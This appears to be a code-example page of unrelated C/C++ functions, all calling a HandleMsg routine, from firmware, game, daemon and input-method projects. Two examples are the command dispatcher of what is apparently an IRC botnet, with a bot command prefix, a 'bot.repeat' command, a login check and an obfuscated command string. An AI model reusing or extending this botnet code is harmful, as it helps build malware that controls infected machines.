Beispiel #1
0
int main(void)
{
    // init sys
    SystemInit();

    // init peripheral
    UART_Configuration();
    delay_init();   
    KEY_GPIO_Init();
    TIM3_Int_Init(100,7199);
    Motor_Init();
    RGB_LED_Init();
    DHT11_Init();
    IR_Init();

    // init vars
    GenProtocolInit();
    BuzProtocolInit();
    UartInit();

    while(1)
    {
        // handle uart msg
        HandleMsg();
        
        // handle key events
        HandleKey();        

        // business logic tick 
        BuzTick();  
    }
}
Beispiel #2
0
void BaseService::Start()
{
	m_WorkThread.Start([this]() 
	{
		HandleMsg();
	});
}
Beispiel #3
0
void CBot::Recv(CMessage *pMsg, bool bInternal)
{
#ifdef DBGCONSOLE
	if(pMsg->sDest[0]=='#')
		g_pMainCtrl->m_cConsDbg.Log(5, "<%s> %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr());
	else
		g_pMainCtrl->m_cConsDbg.Log(5, "*%s* %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr());
#endif

	if(pMsg->sDest[0]=='#') pMsg->sReplyTo.Assign(pMsg->sDest); else pMsg->sReplyTo.Assign(pMsg->sSrc);
	if(pMsg->bNotice) pMsg->sReplyTo.Assign(pMsg->sSrc);
	if(pMsg->bOutchan) {
		CString sOutchan; sOutchan.Assign(pMsg->sChatString.Mid(pMsg->sChatString.Find(" -o")+3));
		pMsg->sReplyTo.Assign(sOutchan);
	}
	pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1));

	// Check if its a bot command by comparing the first byte to the bot_prefix value
	if(pMsg->sChatString[0]==bot_prefix.sValue[0]) {
		if(!pMsg->sCmd.Compare("bot.repeat")) {
			if(!pMsg->sChatString.Token(1, " ").Compare("")) return;
			int i=0, iNum=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iNum) return;
			CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' '));
			sNewCStr=sNewCStr.Mid(sNewCStr.Find(' '));
			pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1));
			if(!bInternal)
				for(i=0;i<iNum;i++) HandleMsg(pMsg);
			else
				for(i=0;i<iNum;i++) HandleMsgInt(pMsg);
		} else
			if(!bInternal)
				HandleMsg(pMsg);
			else
				HandleMsgInt(pMsg);
	} else if(pMsg->sChatString.Token(0, " ").Find(g_pMainCtrl->m_sUserName)) {
		// botname .command mod - deejayfuzion
		CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' '));
		pMsg->sChatString.Assign(sNewCStr);
		pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " "));
		this->Recv(pMsg, bInternal);
	} else {
		// fallback handler
		HandleFallBack(pMsg);
	}
}
void CSakiServerEngine::OnReceive(CAsyncSocket* pVisitor, unsigned char* data, int length)
{
	auto player = GetPlayer(pVisitor);

	SakiSnakeCommon::MsgHeader* header = reinterpret_cast<SakiSnakeCommon::MsgHeader*>(data);
	switch (header->_id)
	{
		case SakiSnakeCommon::msgSetReady:
		{
			auto msg = SakiSnakeCommon::Msg<SakiSnakeCommon::msgSetReady, SakiSnakeCommon::SetReadyMsg>(data, length);
			HandleMsg(player, msg._data);
			break;
		}
		case SakiSnakeCommon::msgSetDirection:
		{
			auto msg = SakiSnakeCommon::Msg<SakiSnakeCommon::msgSetDirection, SakiSnakeCommon::SetDirectionMsg>(data, length);
			HandleMsg(player, msg._data);
			break;
		}
	}
}
Beispiel #5
0
void CBot::Recv(CMessage *pMsg, bool bInternal)
{
#ifdef DBGCONSOLE
	if(pMsg->sDest[0]=='#')
		g_cMainCtrl.m_cConsDbg.Log(5, "<%s> %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr());
	else
		g_cMainCtrl.m_cConsDbg.Log(5, "*%s* %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr());
#endif

	if(pMsg->sDest[0]=='#') pMsg->sReplyTo.Assign(pMsg->sDest); 
	else pMsg->sReplyTo.Assign(pMsg->sSrc);
	if(pMsg->bNotice) pMsg->sReplyTo.Assign(pMsg->sSrc);
	if(pMsg->bOutchan) {
		CString sOutchan; 
		sOutchan.Assign(pMsg->sChatString.Mid(pMsg->sChatString.Find(" -o")+3));
		pMsg->sReplyTo.Assign(sOutchan);
	}
	pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1));

	// Check if its a bot command by comparing the first byte to the bot_prefix value
	if(pMsg->sChatString[0]==bot_prefix.sValue[0]) {
		if(!pMsg->sCmd.Compare(dp(2,15,20,78,18,5,16,5,1,20,0).CStr()) && g_cMainCtrl.m_cMac.FindLogin(pMsg->sSrc)) {
			if(!pMsg->sChatString.Token(1, " ").Compare("")) return;
			int i=0, iNum=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iNum) return;
			CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' '));
			sNewCStr=sNewCStr.Mid(sNewCStr.Find(' '));
			pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1));
			if(!bInternal)
				for(i=0;i<iNum;i++) HandleMsg(pMsg);
			else
				for(i=0;i<iNum;i++) HandleMsgInt(pMsg);
		} else
			if(!bInternal)
				HandleMsg(pMsg);
			else
				HandleMsgInt(pMsg);
	}
}
uint32 Lightning::ObjectMessageFn(HOBJECT hSender, uint32 messageID, HMESSAGEREAD hRead)
{
	switch (messageID)
	{
		case MID_TRIGGER:
		{
			const char* szMsg = (const char*)g_pLTServer->ReadFromMessageDWord(hRead);
			HandleMsg(hSender, szMsg);
		}
		break;

		default : break;
	}

	return CClientSFX::ObjectMessageFn(hSender, messageID, hRead);
}
Beispiel #7
0
bool
cOpenHpiDaemon::HandleData( cConnection *c )
{
  cMessageHeader header;
  void *data = 0;

  int rv = ConnectionReadMsg( c->Fd(), &header, &data, 0 );

  if ( rv )
     {
       if ( data )
	    free( data );

       fprintf( stderr, "cannot read message !\n" );

       return false;
     }

  if ( header.m_type == eMhPong )
     {
       HandlePong( c, header );
       return true;
     }

  cMessageHeader rh;
  void *rd = 0;

  tResult r = HandleMsg( c, header, data, rh, rd );

  if ( data )
       free( data );

  // marshal error ?
  if ( rh.m_len < 0 )
       rv = 1;
  if ( r == eResultReply )
       rv = ConnectionWriteMsg( c->Fd(), &rh, rd );
  else if ( r == eResultError )
       rv = 1;

  if ( rd )
       free( rd );

  return !rv;
}
void Status_OnKeyDown(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
	if (!HandleMsg(wParam,lParam))		//该按键盘不需要处理
	{
		return ;
	}
    
	if (wParam == VK_BACK)
	{
		HandleBack();
	}
	else if (wParam == VK_SPACE)
	{
		HandleSpace();
	}
	//小键盘
	else if (wParam >= VK_NUMPAD4 && wParam <= VK_NUMPAD9 && wParam != VK_NUMPAD6)
	{
		 Handle_Small_Num(wParam);
	}
	// 0 - 9
	else if (wParam >= 0x30 && wParam <= 0x39)
	{
		HandleNum(wParam,lParam);
	}
	// A - Z
	else if (wParam >= 0x41 && wParam <= 0x5A)
	{
		HandleChar(wParam,lParam);
	}

	else if (wParam == VK_CONTROL)
	{
		HandleControl();
	}
	//上翻页
	else if (wParam == VK_LEFT)
	{
	}
	//下翻
	else if (wParam == VK_RIGHT)
	{
	}
}
Beispiel #9
0
int GameWorld::Login()
{
	char szUser[32]={0};
	CHAR szDir[64]={0};
	
	::GetCurrentDirectory(64, szDir);
	::GetPrivateProfileString("config","user","",szUser,32,(szDir+string("/config.ini")).c_str());

	char szData[MsgLen]={0};
	
	memset(szData, 0, MsgLen);
	datasock.Receive(szData, MsgLen);
	
	if (strcmp(szData, "[username,password]"))
	{
		MessageBox(hwnd_window, "expect server msg error","",MB_OK);
		return -1;
	}	
	
	SendMsg(szUser);
	
	pGameMap	= new GameMap();
	pGameMap->Init(hdcScreen);

	
	memset(szData, 0 ,MsgLen);
	int len = datasock.Receive(szData, MsgLen);
	
	if (strcmp(szData,"[user is online]")==0)
	{
		MessageBox(hwnd_window, szData, "", MB_OK);
		return -1;
	}
	datasock.SetBlocking(false);
	
	severMessageBuffer.append(szData, len);
	
	HandleMsg();	

	return 0;
}
Beispiel #10
0
int GameWorld::Main()
{		
	HandleMsg();	

	if (spMainRole == NULL)
	{
		return 0;
	}
	
	vector<Sprite *>::iterator iter;
	for (iter = vecpSprite.begin(); iter!=vecpSprite.end();iter++)
	{
		(*iter)->Animate();
	}
	
	pGameMap->MoveViewport(spMainRole->GetX(), spMainRole->GetY());

	char szDebugMessage[DebugMsgLen]={0};
	sprintf(szDebugMessage, "Viewport X:%d, Y:%d",ViewportPos_x,ViewportPos_y);
	vecDebugMessage[DebugMsg_Index_viewPort]=szDebugMessage;
	
	pGameMap->Draw(hdcCanvas);
	
	for (iter = vecpSprite.begin(); iter!=vecpSprite.end();iter++)
	{
		(*iter)->Draw(hdcCanvas);

		if ((*iter)->GetTypeID()==spMainRole->GetTypeID() && (*iter)->GetID() == spMainRole->GetID())
		{
			sprintf(szDebugMessage, "AnimIndex:%d, FrameNum :%d",spMainRole->GetAnimIndex(),spMainRole->GetFrameNum());
			vecDebugMessage[DebugMsg_Index_Animat]=szDebugMessage;
		}
		
	}	

	pGameMap->DrawMini(hdcCanvas, vecpSprite);
	Refresh();
	GenerateMsg();
	return 0;
}
void CKSExportForWebGUIPane::SendMsgFromTop(SMsg* pMsg)
{
    HandleMsg(pMsg);
} // SendMsgFromTop